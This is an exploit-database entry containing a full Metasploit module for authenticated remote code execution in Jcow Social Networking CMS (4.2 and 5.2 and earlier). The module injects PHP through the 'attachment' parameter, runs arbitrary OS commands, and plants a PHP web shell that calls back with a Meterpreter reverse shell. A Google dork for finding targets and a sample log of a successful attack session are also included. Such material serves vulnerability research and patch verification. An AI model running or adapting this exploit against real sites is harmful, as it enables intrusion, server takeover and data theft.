Jcow Social Networking Script 4.2 <= 5.2 Arbitrary Code Execution
Gerardo Vazquez, Eduardo Arriols | 26.08.2011 | Verified Wait | Vulnerable-App |
Web Application Exploits | PHP |
Exploit Code
# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution # Google Dork: "intext: Powered by Jcow" # Date: 2011-08-26 # Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group> # Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download # Version: 4.x:4.2 <= , 5.x: 5.2 <= # Tested on: FreeBSD # Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution #[*] Started reverse handler on 1.2.3.4:4444 #[*] Trying to login as hax0r #[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff) #[*] Trying to pwn a shell #[*] Uploading the payload: /files/h3x00rr.php #[*] Uploaded successfully #[*] Getting the shell #[*] Sending stage (38553 bytes) to 5.6.7.8 #[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011 # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JCow CMS Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in the JCow Social Networking CMS. In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), authenticated members can trigger php code execution via "attachment" parameter. }, 'Author' => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://www.jcow.net/' ], [ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'BadChars' => "\#", 'Space' => 4000, 'Compat' =>{'ConnectionType' => 'find'}, 'Keys' => ['php'] }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Aug 26 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "JCow directory path", "/"]), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]), OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]), OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]), OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]), OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box']) ], self.class) end def check uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' res = send_request_raw( { 'uri' => uri }, 25) if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/) ver = $1 print_status("Target Jcow version is #{ver}") vers = ver.split('.').map { |v| v.to_i } if (vers[0] == 5) and (vers[1] < 3) return Exploit::CheckCode::Vulnerable elsif (vers[0] == 4) and (vers[1] < 3) return Exploit::CheckCode::Vulnerable elsif (vers[0] < 4) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end print_error("Unable to determine exploitability. Go Exploiting.") end def exploit uri_base = '' uri_base << datastore['URI'] uri_base << '/' if uri_base[-1,1] != '/' cookie = datastore['COOKIE'] if (cookie == nil) print_status("Trying to login as #{datastore['USERNAME']}") cookie = get_login_cookie(uri_base) if (not cookie) raise RuntimeError, 'Unable to login!' end print_status("Logged in successfully (cookie: #{cookie})") else print_status("Using authenticated cookie: #{cookie}") end if (datastore['PHP']) print_status("Executing PHP Code: #{datastore['PHP']}") run_code(uri_base,cookie,datastore['PHP']) end if (datastore['CMD']) print_status("Executing CMD: #{datastore['CMD']}") run_code(uri_base,cookie, datastore['CMD'],'os') end if (datastore['SHELL']) print_status("Trying to pwn a shell") get_reverse_shell(uri_base,cookie) end end def get_login_cookie(uri_base) cookie = nil res = send_request_cgi( { 'method' => 'POST', 'uri' => uri_base + '?p=member/loginpost', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if (not res or res.code != 302) print_error("Failed to login") if (res.body =~ /<script type="text\/javascript" src="http:\/\/www.google.com\/recaptcha\/api\/challenge/) print_error("Recaptcha Enabled\r\nProvide Authenticated Cookie") end return nil end if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/) cookie = $1 else print_error("Unable to get authenticated cookie") return end cookie end def run_code(uri_base, cookie, code, mode='php') cmd = nil if mode != 'php' cmd = 'error_reporting(0);print+`' << Rex::Text.to_hex("#{code}",prefix = "%") << '`' else cmd = 'error_reporting(0);eval(' << code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')' end data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//" res = send_request_cgi( { 'method' => 'POST', 'uri' => uri_base + '?p=streampublish', 'data' => data , 'headers' => { 'Cookie' => "PHPSESSID=#{cookie}" }, }) if (res) if (res.body.to_s.length > 0) is_session_expired(res.body.to_s) print_status("#{mode.upcase} Command Output from the server:") print("\n" + res.body.to_s + "\n\n") else print_error("No data returned from the server") end else print_error("Connection Timeout from the server") end end def is_session_expired(pg) if (pg =~ /please login first/) raise RuntimeError, "Your Login has expired" end end def get_reverse_shell(uri_base,cookie) cmd_php = '<?php ' << payload.encoded << ' ?>' shell_file = 'files/' + rand_text_alphanumeric(6) << '.php' shell_url = uri_base + shell_file print_status("Uploading the payload: " << shell_url ) encoded_shell_file = shell_file.unpack("C*").collect{|x| "chr(#{x})"}.join('.') encoded_payload = payload.encoded cmd = "file_put_contents(#{encoded_shell_file}, $_SERVER['HTTP_X_CMD'])" data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//" res = send_request_cgi( { 'method' => 'POST', 'uri' => uri_base + '?p=streampublish', 'data' => data , 'headers' => { 'X-CMD' => cmd_php, 'Cookie' => "PHPSESSID=#{cookie}" }, }) if (res) if (res.code.to_i > 200) print_error("Fail to upload : #{res.code} #{res.body[0,500].inspect}...") return elsif (res.code == 200) is_session_expired(res.body.to_s) end end print_status("Uploaded successfully") print_status("Getting the shell") res = send_request_raw( { 'global' => true, 'uri' => uri_base + shell_file }) handler end end